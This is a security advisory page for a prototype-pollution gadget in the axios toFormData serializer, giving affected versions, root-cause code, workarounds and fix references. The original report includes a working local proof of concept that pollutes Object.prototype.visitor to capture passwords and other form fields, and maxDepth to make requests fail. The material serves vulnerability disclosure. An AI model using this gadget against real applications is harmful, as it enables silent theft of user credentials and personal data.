GHSA-X97P-JQ2G-JP4F
Vulnerability from github – Published: 2026-09-30 15:02 – Updated: 2026-09-30 15:02
VLAI
Summary
Axios: Prototype Pollution Gadget in axios toFormData Options
Details
Summary
Axios form serialization reads visitor, maxDepth, dots, indexes, metaTokens, and Blob from an internal options object without own-property guards. When Object.prototype has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies.
Axios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures.
Impact
The impact depends on which property is polluted and which axios serialization path the application uses.
Polluted dots, indexes, or metaTokens can change field names and cause the receiving service to parse different data than the caller intended. Polluted maxDepth can cause nested form submissions to throw ERR_FORM_DATA_DEPTH_EXCEEDED, producing request-level or service-level denial of service for affected workflows. Polluted visitor can execute as the serializer visitor if an attacker can place a function on Object.prototype, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully.
Affected Functionality
Affected:
axios.toFormData().transformRequestpaths that serialize plain objects tomultipart/form-data.- URL-encoded form serialization paths that rely on the same helper.
formSerializeroption defaults when the relevant properties are absent as own properties.
Not affected:
- JSON request bodies.
- Requests that do not invoke
toFormData(). - Processes where
Object.prototypeis not polluted.
Technical Details
lib/helpers/toFormData.js merges caller options with defaults using utils.toFlatObject(). When options is undefined, toFlatObject() returns the default object unchanged:
{
metaTokens: true,
dots: false,
indexes: false
}
That default object has Object.prototype in its prototype chain. toFormData() then reads behavior-affecting values directly:
const metaTokens = options.metaTokens;
const visitor = options.visitor || defaultVisitor;
const dots = options.dots;
const indexes = options.indexes;
const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob);
const maxDepth = options.maxDepth === undefined ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth;
These reads can resolve inherited polluted properties.
Local code review confirmed the direct reads in v1.18.1. Tag checks show the option-based form serializer exists in v0.28.0 and later; maxDepth appears in the 1.x line from the form recursion fix.
Proof of Concept of Attack
Constrained local demonstration:
Object.prototype.maxDepth = 1;
await axios.post(url, { a: { b: { c: 'value' } } }, {
headers: { 'Content-Type': 'multipart/form-data' }
});
Expected safe behavior is that the default max depth is used unless the caller sets an own formSerializer.maxDepth. Current behavior reads the inherited value and can throw ERR_FORM_DATA_DEPTH_EXCEEDED.
For serializer alteration, polluting Object.prototype.dots = true changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior.
Workarounds
Avoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own formSerializer object that sets explicit safe values for all relevant keys, including visitor, maxDepth, dots, indexes, metaTokens, and Blob.
Original report
### Summary _axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (`visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, `Blob`) are read from a plain JavaScript object that inherits from `Object.prototype` without `hasOwnProperty` guards. When `Object.prototype` has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios' form serialization behavior._ _The highest-impact gadget is `visitor`: a polluted function on `Object.prototype.visitor` is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments._ ### Details #### Root Cause _The attack chain has three steps:_ _**Step 1: `formSerializer` is read safely, but `undefined` flows through**_ _In `lib/defaults/index.js`, the default `transformRequest` function reads `formSerializer` from config using the `own()` helper, which enforces `hasOwnProp`:_const formSerializer = own(this, 'formSerializer');
return toFormData(data, _FormData && new _FormData(), formSerializer);
// ^^^^^^^^^^^^ undefined
options = utils.toFlatObject(
options, // undefined
{ metaTokens: true, dots: false, indexes: false }, // plain object literal
false,
function defined(option, source) {
return !utils.isUndefined(source[option]);
}
);
// lib/utils.js:607
if (sourceObj == null) return destObj;
const metaTokens = options.metaTokens; // line 117
const visitor = options.visitor || defaultVisitor; // line 119
const dots = options.dots; // line 120
const indexes = options.indexes; // line 121
const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob); // line 122
const maxDepth = options.maxDepth === undefined // line 123
? DEFAULT_FORM_DATA_MAX_DEPTH
: options.maxDepth;
mkdir axios-pp-poc
cd axios-pp-poc
npm init -y
npm install axios@1.18.1
import axios from 'axios';
import http from 'http';
// Simulate pollution from a compromised transitive dependency
let stolen = [];
Object.prototype.visitor = function(value, key, path, helpers) {
stolen.push({ key, value });
return helpers.defaultVisitor.call(this, value, key, path);
};
Object.prototype.maxDepth = 2;
const server = http.createServer((req, res) => {
res.writeHead(200);
res.end('{}');
});
server.listen(0, '127.0.0.1', async () => {
const { port } = server.address();
try {
// Exfiltration: visitor intercepts all form fields
await axios.post(`http://127.0.0.1:${port}/`, {
username: 'john',
password: 'SuperSecret123!',
profile: { ssn: '123-45-6789' }
}, { headers: { 'Content-Type': 'multipart/form-data' } });
console.log('Stolen:', stolen);
// Stolen: [
// { key: 'username', value: 'john' },
// { key: 'password', value: 'SuperSecret123!' },
// { key: 'profile', value: { ssn: '123-45-6789' } },
// { key: 'ssn', value: '123-45-6789' }
// ]
// DoS: nested object rejected by polluted maxDepth
await axios.post(`http://127.0.0.1:${port}/`,
{ a: { b: { c: { d: 'value' } } } },
{ headers: { 'Content-Type': 'multipart/form-data' } }
);
// Throws: ERR_FORM_DATA_DEPTH_EXCEEDED
// "Object is too deeply nested (3 levels). Max depth: 2"
} finally {
delete Object.prototype.visitor;
delete Object.prototype.maxDepth;
server.close();
}
});
node poc.mjs
visitor.call(formData, el, key, path, exposedHelpers)
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0.28.0"
},
{
"fixed": "0.34.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.15.1"
},
{
"fixed": "1.20.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-101909"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-30T15:02:45Z",
"nvd_published_at": "2026-09-28T18:17:19Z",
"severity": "HIGH"
},
"details": "## Summary\n\nAxios form serialization reads `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob` from an internal options object without own-property guards. When `Object.prototype` has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies.\n\nAxios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures.\n\n## Impact\n\nThe impact depends on which property is polluted and which axios serialization path the application uses.\n\nPolluted `dots`, `indexes`, or `metaTokens` can change field names and cause the receiving service to parse different data than the caller intended. Polluted `maxDepth` can cause nested form submissions to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`, producing request-level or service-level denial of service for affected workflows. Polluted `visitor` can execute as the serializer visitor if an attacker can place a function on `Object.prototype`, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully.\n\n## Affected Functionality\n\nAffected:\n\n- `axios.toFormData()`.\n- `transformRequest` paths that serialize plain objects to `multipart/form-data`.\n- URL-encoded form serialization paths that rely on the same helper.\n- `formSerializer` option defaults when the relevant properties are absent as own properties.\n\nNot affected:\n\n- JSON request bodies.\n- Requests that do not invoke `toFormData()`.\n- Processes where `Object.prototype` is not polluted.\n\n## Technical Details\n\n`lib/helpers/toFormData.js` merges caller options with defaults using `utils.toFlatObject()`. When `options` is `undefined`, `toFlatObject()` returns the default object unchanged:\n\n```js\n{\n metaTokens: true,\n dots: false,\n indexes: false\n}\n```\n\nThat default object has `Object.prototype` in its prototype chain. `toFormData()` then reads behavior-affecting values directly:\n\n```js\nconst metaTokens = options.metaTokens;\nconst visitor = options.visitor || defaultVisitor;\nconst dots = options.dots;\nconst indexes = options.indexes;\nconst _Blob = options.Blob || (typeof Blob !== \u0027undefined\u0027 \u0026\u0026 Blob);\nconst maxDepth = options.maxDepth === undefined ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth;\n```\n\nThese reads can resolve inherited polluted properties.\n\nLocal code review confirmed the direct reads in `v1.18.1`. Tag checks show the option-based form serializer exists in `v0.28.0` and later; `maxDepth` appears in the `1.x` line from the form recursion fix.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype.maxDepth = 1;\n\nawait axios.post(url, { a: { b: { c: \u0027value\u0027 } } }, {\n headers: { \u0027Content-Type\u0027: \u0027multipart/form-data\u0027 }\n});\n```\n\nExpected safe behavior is that the default max depth is used unless the caller sets an own `formSerializer.maxDepth`. Current behavior reads the inherited value and can throw `ERR_FORM_DATA_DEPTH_EXCEEDED`.\n\nFor serializer alteration, polluting `Object.prototype.dots = true` changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior.\n\n## Workarounds\n\nAvoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own `formSerializer` object that sets explicit safe values for all relevant keys, including `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob`.\n\n\u003cdetails\u003e\n \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n\n### Summary\n_axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (`visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, `Blob`) are read from a plain JavaScript object that inherits from `Object.prototype` without `hasOwnProperty` guards. When `Object.prototype` has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios\u0027 form serialization behavior._\n\n_The highest-impact gadget is `visitor`: a polluted function on `Object.prototype.visitor` is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments._\n\n### Details\n#### Root Cause\n_The attack chain has three steps:_\n_**Step 1: `formSerializer` is read safely, but `undefined` flows through**_\n_In `lib/defaults/index.js`, the default `transformRequest` function reads `formSerializer` from config using the `own()` helper, which enforces `hasOwnProp`:_\n```js\nconst formSerializer = own(this, \u0027formSerializer\u0027);\n```\n_When the user does not explicitly configure `formSerializer`, this correctly returns `undefined`. That `undefined` is then passed as the `options` parameter to `toFormData()`:_\n```js\nreturn toFormData(data, _FormData \u0026\u0026 new _FormData(), formSerializer);\n// ^^^^^^^^^^^^ undefined\n```\n\n_**Step 2: `toFlatObject` returns a plain-object default**_\n_Inside `lib/helpers/toFormData.js`, `options` (which is `undefined`) is merged with defaults via `utils.toFlatObject()`:_\n```js\noptions = utils.toFlatObject(\n options, // undefined\n { metaTokens: true, dots: false, indexes: false }, // plain object literal\n false,\n function defined(option, source) {\n return !utils.isUndefined(source[option]);\n }\n);\n```\n_`toFlatObject` has an early-return for null/undefined sources:_\n\n```js\n// lib/utils.js:607\nif (sourceObj == null) return destObj;\n```\n_Since `options` is `undefined`, the function returns `destObj` unchanged \u2014 the plain object `{ metaTokens: true, dots: false, indexes: false }`. This object\u0027s prototype is `Object.prototype`._\n\n_**Step 3: Options are read without `hasOwnProp` guards**_\n_The six option properties are read directly from the plain object:_\n```js\nconst metaTokens = options.metaTokens; // line 117\nconst visitor = options.visitor || defaultVisitor; // line 119\nconst dots = options.dots; // line 120\nconst indexes = options.indexes; // line 121\nconst _Blob = options.Blob || (typeof Blob !== \u0027undefined\u0027 \u0026\u0026 Blob); // line 122\nconst maxDepth = options.maxDepth === undefined // line 123\n ? DEFAULT_FORM_DATA_MAX_DEPTH\n : options.maxDepth;\n```\n_None of these reads use `utils.hasOwnProp()`. Since the `options` object inherits from `Object.prototype`, any property set on `Object.prototype` by a compromised dependency is resolved through the prototype chain._\n\n#### Why the Existing Defenses Didn\u0027t Catch This\n_axios has extensive prototype pollution defenses. However, those defenses are all focused on the **config** object (created by `mergeConfig`, which returns `Object.create(null)`). The `toFormData` function creates its own internal options object that sits outside that boundary, and the 6 reads on that internal object were never audited._\n\n### PoC\n#### Reproduction Steps\n#### Environment\n_Any environment with Node.js and npm. Tested on:_\n_- Node.js v24.15.0, npm 11.13.0_\n_- axios v1.18.1 (latest release at time of writing)_\n\n##### Step 1: Create a fresh project\n```bash\nmkdir axios-pp-poc\ncd axios-pp-poc\nnpm init -y\nnpm install axios@1.18.1\n```\n##### Step 2: Create the PoC file\n_Create `poc.mjs` with the following content:_\n```js\nimport axios from \u0027axios\u0027;\nimport http from \u0027http\u0027;\n\n// Simulate pollution from a compromised transitive dependency\nlet stolen = [];\nObject.prototype.visitor = function(value, key, path, helpers) {\n stolen.push({ key, value });\n return helpers.defaultVisitor.call(this, value, key, path);\n};\nObject.prototype.maxDepth = 2;\n\nconst server = http.createServer((req, res) =\u003e {\n res.writeHead(200);\n res.end(\u0027{}\u0027);\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, async () =\u003e {\n const { port } = server.address();\n try {\n // Exfiltration: visitor intercepts all form fields\n await axios.post(`http://127.0.0.1:${port}/`, {\n username: \u0027john\u0027,\n password: \u0027SuperSecret123!\u0027,\n profile: { ssn: \u0027123-45-6789\u0027 }\n }, { headers: { \u0027Content-Type\u0027: \u0027multipart/form-data\u0027 } });\n\n console.log(\u0027Stolen:\u0027, stolen);\n // Stolen: [\n // { key: \u0027username\u0027, value: \u0027john\u0027 },\n // { key: \u0027password\u0027, value: \u0027SuperSecret123!\u0027 },\n // { key: \u0027profile\u0027, value: { ssn: \u0027123-45-6789\u0027 } },\n // { key: \u0027ssn\u0027, value: \u0027123-45-6789\u0027 }\n // ]\n\n // DoS: nested object rejected by polluted maxDepth\n await axios.post(`http://127.0.0.1:${port}/`,\n { a: { b: { c: { d: \u0027value\u0027 } } } },\n { headers: { \u0027Content-Type\u0027: \u0027multipart/form-data\u0027 } }\n );\n // Throws: ERR_FORM_DATA_DEPTH_EXCEEDED\n // \"Object is too deeply nested (3 levels). Max depth: 2\"\n } finally {\n delete Object.prototype.visitor;\n delete Object.prototype.maxDepth;\n server.close();\n }\n});\n```\n##### Step 3: Run the PoC\n```bash\nnode poc.mjs\n```\n\n\n### Impact\n#### 1. Data Exfiltration via `visitor` (Confidentiality: High)\n_A polluted `Object.prototype.visitor` function is called as the form data visitor:_\n```js\nvisitor.call(formData, el, key, path, exposedHelpers)\n```\n_The attacker receives:_\n_- **`value`** \u2014 the raw value being serialized (passwords, tokens, PII, API keys)_\n_- **`key`** \u2014 the field name_\n_- **`path`** \u2014 the full path array (e.g., `[\u0027profile\u0027, \u0027address\u0027, \u0027street\u0027]`)_\n_- **`exposedHelpers`** \u2014 internal helpers including `defaultVisitor`, `convertValue`, `isVisitable`_\n\n_By delegating to `helpers.defaultVisitor`, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server._\n\n#### 2. Denial of Service via `maxDepth` (Availability: Low)\n_A polluted `Object.prototype.maxDepth` of `1` or `2` causes any moderately nested form data request to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`. Applications that send nested objects as form data (common with APIs that accept `profile[name]`, `address[city]`, etc.) will experience mysterious failures._\n\n#### 3. Data Corruption via `dots`, `indexes`, `metaTokens` (Integrity: Low)\n_Polluting these options changes the serialization format of form field names:_\n_- **`dots: true`** \u2014 changes bracket notation (`user[name]`) to dot notation (`user.name`)_\n_- **`indexes: true`** \u2014 changes array serialization (`items[]`) to indexed (`items[0]`, `items[1]`)_\n_- **`metaTokens: false`** \u2014 changes `obj{}` keys to raw json strings_\n\n_The server may misinterpret the submitted form data, leading to silent data corruption._\n\u003c/details\u003e\n\n---",
"id": "GHSA-x97p-jq2g-jp4f",
"modified": "2026-09-30T15:02:45Z",
"published": "2026-09-30T15:02:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-x97p-jq2g-jp4f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101909"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11141"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/d29be181f85f6fe93397a07b1f69606d9622637b"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.34.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.20.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios: Prototype Pollution Gadget in axios toFormData Options"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…